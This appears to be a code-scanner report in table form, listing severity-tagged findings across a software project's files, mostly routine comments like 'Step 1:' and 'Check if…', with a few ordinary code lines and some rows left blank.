| HIGH⚡ | static/js/cookbookDownload.js | 193 | print(f'ERROR {e}',file=sys.stderr,flush=True);sys.exit(1) | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | static/js/group.js | 528 | // Step 2: Character assignment | COMMENT |
| LOW⚡ | static/js/documentLibrary.js | 1015 | // Step 1: switch session if needed and wait for it to load | COMMENT |
| LOW⚡ | static/js/documentLibrary.js | 1023 | // Step 2: ensure doc is in tabs | COMMENT |
| LOW⚡ | static/js/documentLibrary.js | 1033 | // Step 3: open panel (slide-in is handled by openPanel) | COMMENT |
| LOW | static/js/editor/tools/lasso-mask.js | 75 | // Step 1: draw hard mask | COMMENT |
| LOW | static/js/editor/tools/lasso-mask.js | 111 | // Step 2: pixel data and distance-based feather. | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 489 | # Step 1: prerequisites | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 497 | # Step 2: signing key | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 505 | # Step 3: apt repository | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 514 | # Step 4: install toolkit | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 522 | # Step 5: configure Docker runtime | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 529 | # Step 6: restart Docker | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 551 | # Step 7: verification | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 557 | # Step 8: enable overlay (only if passthrough verified) | COMMENT |
| LOW | src/agent_loop.py | 3008 | # Step 1: per-endpoint override (set at registration time from the | COMMENT |
| LOW | src/deep_research.py | 166 | - Then the detailed steps: ## Step 1: ..., ## Step 2: ... | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | core/database.py | 1498 | # Check if prompt/schedule/scheduled_time are still NOT NULL — need table rebuild | COMMENT |
| LOW | tests/test_api_key_manager_atomic_save.py | 65 | # Close the file then raise | COMMENT |
| LOW | tests/test_chat_route_tool_policy.py | 48 | # Check if 'body' appears in the value | COMMENT |
| LOW | scripts/diffusion_server.py | 300 | # Check if it's a HF repo with a single safetensors file | COMMENT |
| LOW | scripts/diffusion_server.py | 568 | # Check if the main pipeline IS already an inpaint pipeline | COMMENT |
| LOW | scripts/index_documents.py | 54 | # Check if directory exists | COMMENT |
| LOW | scripts/index_documents.py | 87 | # Display results | COMMENT |
| LOW | routes/mcp_routes.py | 256 | # Check if OAuth token already exists — skip connection attempt if not | COMMENT |
| LOW | routes/shell_routes.py | 518 | # Set master to non-blocking | COMMENT |
| LOW | routes/shell_routes.py | 725 | # Check if tmux session is still alive | COMMENT |
| LOW | routes/document_routes.py | 652 | # Check if we can coalesce with the latest version | COMMENT |
| LOW | routes/cookbook_routes.py | 4154 | # Check if session is alive + capture output | COMMENT |
| LOW | routes/cookbook_routes.py | 2016 | ps_lines.append('# Check if ollama is available') | CODE |
| LOW | src/config.py | 194 | # Check if LLM host is reachable if specified | COMMENT |
| LOW | src/config.py | 199 | # Check if API keys are set when needed | COMMENT |
| LOW | src/memory.py | 325 | # Check if this is an identity memory (contains name patterns or identity indicators) | COMMENT |
| LOW | src/tool_execution.py | 96 | # Check if any path component is a sensitive directory. | COMMENT |
| LOW | src/upload_handler.py | 1185 | # Check if file type is safe | COMMENT |
| LOW | src/integrations.py | 615 | # Check if a miniflux integration already exists | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | static/js/group.js | 528 | // Step 2: Character assignment | COMMENT |
| LOW⚡ | static/js/documentLibrary.js | 1015 | // Step 1: switch session if needed and wait for it to load | COMMENT |
| LOW⚡ | static/js/documentLibrary.js | 1023 | // Step 2: ensure doc is in tabs | COMMENT |
| LOW⚡ | static/js/documentLibrary.js | 1033 | // Step 3: open panel (slide-in is handled by openPanel) | COMMENT |
| LOW | static/js/editor/tools/lasso-mask.js | 75 | // Step 1: draw hard mask | COMMENT |
| LOW | static/js/editor/tools/lasso-mask.js | 111 | // Step 2: pixel data and distance-based feather. | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 489 | # Step 1: prerequisites | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 497 | # Step 2: signing key | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 505 | # Step 3: apt repository | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 514 | # Step 4: install toolkit | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 522 | # Step 5: configure Docker runtime | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 529 | # Step 6: restart Docker | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 551 | # Step 7: verification | COMMENT |
| LOW⚡ | scripts/check-docker-gpu.sh | 557 | # Step 8: enable overlay (only if passthrough verified) | COMMENT |
| LOW | src/agent_loop.py | 3008 | # Step 1: per-endpoint override (set at registration time from the | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL⚡ | tests/test_session_mode_helpers.py | 56 | sess.query.return_value.filter.return_value.update.assert_called_once_with({"mode": "agent"}) | CODE |
| CRITICAL | static/lib/html2pdf.bundle.min.js | 2 | !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.am | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_model_routes.py | 1327 | CODE | |
| LOW | tests/test_model_routes.py | 595 | CODE | |
| LOW | tests/test_model_routes.py | 615 | CODE | |
| LOW | tests/test_model_defaults.py | 131 | CODE | |
| LOW | scripts/demo_email/seed_demo_emails.py | 109 | CODE | |
| LOW | mcp_servers/email_server.py | 1340 | CODE | |
| LOW | routes/email_pollers.py | 116 | CODE | |
| LOW | routes/mcp_routes.py | 159 | CODE | |
| LOW | routes/email_routes.py | 1923 | CODE | |
| LOW | routes/shell_routes.py | 877 | CODE | |
| LOW | routes/compare_routes.py | 71 | CODE | |
| LOW | routes/hwfit_routes.py | 194 | CODE | |
| LOW | routes/hwfit_routes.py | 319 | CODE | |
| LOW | routes/hwfit_routes.py | 413 | CODE | |
| LOW | routes/model_routes.py | 1820 | CODE | |
| LOW | routes/chat_helpers.py | 630 | CODE | |
| LOW | routes/chat_helpers.py | 1014 | CODE | |
| LOW | routes/chat_helpers.py | 1141 | CODE | |
| LOW | routes/gallery/gallery_routes.py | 497 | CODE | |
| LOW | services/memory/skills.py | 293 | CODE | |
| LOW | services/search/core.py | 250 | CODE | |
| LOW | src/text_helpers.py | 143 | CODE | |
| LOW | src/research_handler.py | 240 | CODE | |
| LOW | src/research_handler.py | 740 | CODE | |
| LOW | src/agent_loop.py | 1523 | CODE | |
| LOW | src/agent_loop.py | 2541 | CODE | |
| LOW | src/chat_processor.py | 198 | CODE | |
| LOW | src/visual_report.py | 100 | CODE | |
| LOW | src/llm_core.py | 1924 | CODE | |
| LOW | src/llm_core.py | 2106 | CODE | |
| LOW | src/llm_core.py | 2129 | CODE | |
| LOW | src/deep_research.py | 192 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | launcher.py | 17 | # Define a dummy NullWriter to suppress standard stream crashes (isatty etc.) in GUI mode | COMMENT |
| MEDIUM | tests/test_rag_search_signature.py | 8 | # Create a mock instance for VectorRAG | COMMENT |
| MEDIUM | tests/test_skills_delete_owner.py | 46 | # Create an owner-scoped skill (owner="alice") | STRING |
| MEDIUM | tests/test_skills_delete_owner.py | 71 | # Create an owner-scoped skill (owner="alice") | STRING |
| MEDIUM | src/task_scheduler.py | 726 | # Create the run record with status="queued" BEFORE waiting on the | COMMENT |
| MEDIUM | src/task_scheduler.py | 2562 | # Create the singleton session first (CrewMember.session_id links to it). | COMMENT |
| MEDIUM | src/task_scheduler.py | 2579 | # Create the assistant CrewMember. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | core/database.py | 356 | ai_tags = Column(Text, nullable=True, default="") # AI-generated tags (comma-separated) | CODE |
| HIGH | static/js/notes.js | 3043 | // Going Goal→Todo keeps the AI-generated steps as a plain checklist. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/test_delete_user_revokes_api_tokens.py | 125 | CODE | |
| MEDIUM | tests/test_tool_policy.py | 454 | CODE | |
| MEDIUM | tests/test_scheduler_prompt_cache_time.py | 53 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tests/test_security_regressions.py | 1391 | def handle_request(self, req): | CODE |
| LOW | services/search/content.py | 202 | def handle_request(self, request: httpx.Request) -> httpx.Response: | CODE |